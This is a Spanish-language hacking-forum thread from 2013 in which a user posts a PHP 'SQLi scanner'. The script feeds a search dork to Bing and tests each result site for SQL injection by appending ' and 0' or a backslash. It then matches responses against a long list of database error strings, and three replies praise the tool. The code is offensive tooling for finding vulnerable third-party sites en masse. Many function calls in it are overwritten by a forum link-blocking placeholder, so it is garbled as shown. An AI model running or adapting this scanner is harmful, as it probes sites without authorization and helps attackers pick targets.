send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

SQLi Scanner by arthusu

  • 3 Respuestas
  • 1776 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 525
  • Actividad:
    0%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« en: Abril 08, 2013, 06:41:31 am »
Antes quiero comentarles que no soy muy bueno programando pero hago lo que puedo,bueno he creado este script mas que nada por que me artaba de darle clic a las webs (necesidad xD) y como google te bloqueaba a cierto punto entonces utilice bing, aunque de todas maneras para este tipo de escaneo necesitas un buen servidor con ancho de banda jeje para que lo soporte dependiendo de las peticiones, igual puedes modificar el script y mejorarlo, espero que a mas de uno le ayude....

Aca les dejo unas imagenes....







para usar es tan facil como agregar el dork y las paginas en paginas serian las paginacion de bing.... 1,2,3,4, etc... recomiendo que lo dejen por defecto en 5 ;)

ahora tienen dos opciones de escaneo, cuando seleccionas el checkbox hace una comparacion de paginas (agradesco a Alguien por pasarme este tip :D) y lo que hace es un vector and 0 que seria para blind... aunque pueden modificar a su gusto :P

y el otro detecta errores pueden agregar mas si lo desean.... o quitar si lo desean...

denle permisos a la carpeta para que se les agregue una lista de dorks si gustan sino comenten esas dos lineas...

pueden seleccionar el checkbox pero como hace una comparacion aveces da falso positivos si es una pagina dinamica por ejemplo que cambia su contenido como un slider... o diferentes cosas daria falsos positivos tambien .... o redirecciones, etc....

Aca esta el codigo sin ofuscar xD :P

Código: PHP
  1. <title>Buscador SQLi</title>
  2. <style>
  3. body{
  4.         background-color: black;
  5.         color:white;
  6.         text-align: center;
  7.         text-decoration: none;
  8. }
  9. .text:hover{
  10.         text-shadow: 1px 1px 5px #fff;
  11. }
  12. img:hover{
  13.         opacity:0.6;
  14. }
  15. a{
  16.         text-decoration: none;
  17.         color:red;
  18. }
  19. a:hover{
  20.         text-decoration: underline;
  21. }
  22. </style>
  23. <!-- Buscador SQLi basica usando bing by arthusu -->
  24. <a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
  25. <?php
  26. /*
  27. +------------------------------------------------+
  28. |   Buscador SQLi basica usando BING by arthusu  |
  29. +------------------------------------------------+
  30. */
  31. //sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
  32. You are not allowed to view links. Register or Login(0);
  33. //esta funcion lo que hace es conectar a la url que le indiquemos como parametro
  34. function conectar_url($url){
  35.         //inicia curl y lo guarda en ch
  36.         $ch=You are not allowed to view links. Register or Login();
  37.         //le damos una opciones como la url
  38.         You are not allowed to view links. Register or Login($ch, CURLOPT_URL, $url);
  39.         //le damos una opcion de que nos devuelva la pagina sea verdadero
  40.         You are not allowed to view links. Register or Login($ch, CURLOPT_RETURNTRANSFER, true);
  41.         //de que siga la redireccion como verdadero
  42.         You are not allowed to view links. Register or Login($ch, CURLOPT_FOLLOWLOCATION, true);
  43.         //de establecer un navegador en la cabecera user agent
  44.         You are not allowed to view links. Register or Login($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
  45.         //aqui en esta variable se guarda la pagina
  46.         $pagina=You are not allowed to view links. Register or Login($ch);
  47.         You are not allowed to view links. Register or Login($ch);
  48.         //devolvemos la pagina :D
  49.         return $pagina;
  50. }
  51. //si existe enviar
  52. if(You are not allowed to view links. Register or Login($_POST['enviar'])){
  53.         // y si no estan vacios los campos
  54.         if(!You are not allowed to view links. Register or Login($_POST['dork']) && !You are not allowed to view links. Register or Login($_POST['paginas'])){
  55.         //almacenamos nuestras variables
  56.         $dork=You are not allowed to view links. Register or Login($_POST['dork'],ENT_QUOTES);
  57.         $paginas=$_POST['paginas'];
  58.         $paginas=You are not allowed to view links. Register or Login($paginas,ENT_QUOTES);
  59.         //abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
  60.         $archivo=You are not allowed to view links. Register or Login('dorks.txt','a');
  61.         You are not allowed to view links. Register or Login($archivo, "Dork insertado: ".$dork."\n");
  62.         You are not allowed to view links. Register or Login($archivo);
  63.         //conformamos la url
  64.         $bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
  65.         //i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
  66.         //en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
  67.         $i=1;
  68.         while($i<=$paginas){
  69.                 //si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
  70.                 $url_bing=You are not allowed to view links. Register or Login('comienza', $i, $bing_url);
  71.                 //echo $url_bing ."<br />";
  72.                 //almacenamos en una variable lo que nos retorna la busqueda
  73.                 $conectado=conectar_url($url_bing);
  74.                 //si no se encuentran resultados entonces que lo muestre
  75.                 if(You are not allowed to view links. Register or Login("/No se encontraron resultados para/i", $conectado)){
  76.                         echo "No se encontro ningun resultado";
  77.                 }else{
  78.                         //nos conectamos a la url para que podamos verificar los enlaces
  79.                         $conectado2=conectar_url($url_bing);
  80.                         //print_r($enlaces);
  81.                         //verificamos si se encuentran enlaces
  82.                         if(You are not allowed to view links. Register or Login('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
  83.                                 //tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
  84.                         if(!You are not allowed to view links. Register or Login($_POST['checked'])){
  85.                            for($e=0; $e<You are not allowed to view links. Register or Login($enlaces); $e++){
  86.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  87.                                 $reemplazo=You are not allowed to view links. Register or Login("<h3><a href=\"", "", $enlaces[0][$e]);
  88.                                 $reemplazo=You are not allowed to view links. Register or Login('"', "", $reemplazo);
  89.                                         //$reemplazo=$enlaces[0][$e];
  90.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  91.                                 //$vuln=$reemplazo."'";
  92.                                 $vuln=$reemplazo;
  93.                                 $vuln2=$reemplazo." and 0";
  94.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  95.                                 //conectamos a la url modificada
  96.                                 $conectado3=conectar_url($vuln);
  97.                                 $conectado4=conectar_url($vuln2);
  98.                                 if($conectado3!=$conectado4){
  99.                                                 echo "<br />Vulnerable: <font color='red'><a href='".You are not allowed to view links. Register or Login($reemplazo)."' target='_blank'>".You are not allowed to view links. Register or Login($reemplazo)."</a></font><br />";
  100.                                         }else{
  101.                                                 echo "<br />No Vulnerable:".You are not allowed to view links. Register or Login($reemplazo)."<br />";
  102.                                         }
  103.                                
  104.                                  }
  105.                                 }else{
  106.                                         for($e=0; $e<You are not allowed to view links. Register or Login($enlaces); $e++){
  107.                                 //reemplazamos <h3><a href=" por vacio para que pueda verificar el error
  108.                                 $reemplazo=You are not allowed to view links. Register or Login("<h3><a href=\"", "", $enlaces[0][$e]);
  109.                                 $reemplazo=You are not allowed to view links. Register or Login('"', "", $reemplazo);
  110.                                         //reemplazamos en =cualquiercosa por =" de manera para verificar el error
  111.                                 //$vuln=$reemplazo."'";
  112.                                 $vuln2=$reemplazo."\\";
  113.                                 //$vuln=str_replace("=","=order by 2" , $reemplazo);
  114.                                 //conectamos a la url modificada
  115.                                 $conectado4=conectar_url($vuln2);
  116.  
  117.                                 //si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
  118.                                 if(You are not allowed to view links. Register or Login("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
  119.                                         echo "<br />Vulnerable: <font color='red'><a href='".You are not allowed to view links. Register or Login($reemplazo)."' target='_blank'>".You are not allowed to view links. Register or Login($reemplazo)."</a></font><br />";
  120.                                 }else{
  121.                                         echo "No vulnerable: ".You are not allowed to view links. Register or Login($reemplazo)."<br />";
  122.                                 }
  123.                                 }
  124.                         }
  125.                 }else{
  126.                                 //si no se encontraron url entonces decimos que no coinciden con el formato
  127.                                 echo "No coincide con el formato<br />";
  128.                         }
  129.                        
  130.                 }
  131.                 //borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
  132.                 You are not allowed to view links. Register or Login($url_bing);
  133.                 //aumentamos i a uno para que siga recorriendo las urls
  134.                 ++$i;
  135.         }
  136. }else{
  137. //si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
  138.         echo "Debes llenar los campos <br /><br />";
  139. ?>
  140. <!-- Aqui tenemos nuestro formulario -->
  141.         <center>
  142.         <table border="0" width="500">
  143.         <form action="" method="post">
  144.         <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  145.         <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  146.         <tr><td><input name="checked" type="checkbox"></td></tr>
  147.         <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  148.         <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  149.         <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  150.         </form>
  151.         <table>
  152.         </center>
  153. <?php
  154. }
  155. }else{
  156.         //sino existe enviar muestra un mensaje y muestra el formulario de nuevo
  157.         echo '
  158.         <center>
  159.         <table border="0" width="500">
  160.         <form action="" method="post">
  161.         <tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
  162.         <tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
  163.         <tr><td><input name="checked" type="checkbox"></td></tr>
  164.         <tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
  165.         <tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
  166.         <tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
  167.         </form>
  168.         <table>
  169.         </center>
  170.         ';
  171. }
  172. /*
  173. La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
  174. Este programa puede llegar a lanzar falsos positivos....
  175. */
  176. ?>
  177.  

salu2
« Última modificación: Abril 10, 2013, 04:44:13 am por arthusu »

Desconectado Cronos

  • *
  • Underc0der
  • Mensajes: 1000
  • Actividad:
    0%
  • Reputación 1
  • Mientras mas se, me doy cuenta de lo poco que se.
    • Ver Perfil
    • Email
  • Skype: cronos.labs
« Respuesta #1 en: Abril 09, 2013, 09:56:32 am »
Muy buena arthusu! Cada ves mejor lo tuyo, y por lo que veo también has estado practicando con photoshop :)
Saludos,, Cronos.-

Desconectado askatuak

  • *
  • Underc0der
  • Mensajes: 11
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Abril 09, 2013, 10:27:02 am »
Gracias compañero!!!

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 544
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #3 en: Abril 09, 2013, 12:37:34 pm »
buena bro yo tambien hice uno en perl,python,ruby,java y proximamente en delphi 2010

 

¿Te gustó el post? COMPARTILO!



Ejemplo Formulario PHP anti XSS y CSRF y SQLi

Iniciado por graphixx

Respuestas: 0
Vistas: 309
Último mensaje Enero 26, 2018, 08:39:56 am
por graphixx
[Código-PHP] SQLi Searcher V1 - JaAViEr

Iniciado por JaAViEr

Respuestas: 4
Vistas: 1124
Último mensaje Junio 05, 2011, 06:30:48 pm
por JaAViEr
PHP port Scanner

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1418
Último mensaje Marzo 30, 2012, 12:24:37 pm
por ANTRAX
[PHP] DH Scanner 0.9

Iniciado por BigBear

Respuestas: 0
Vistas: 1225
Último mensaje Noviembre 20, 2015, 07:54:30 pm
por BigBear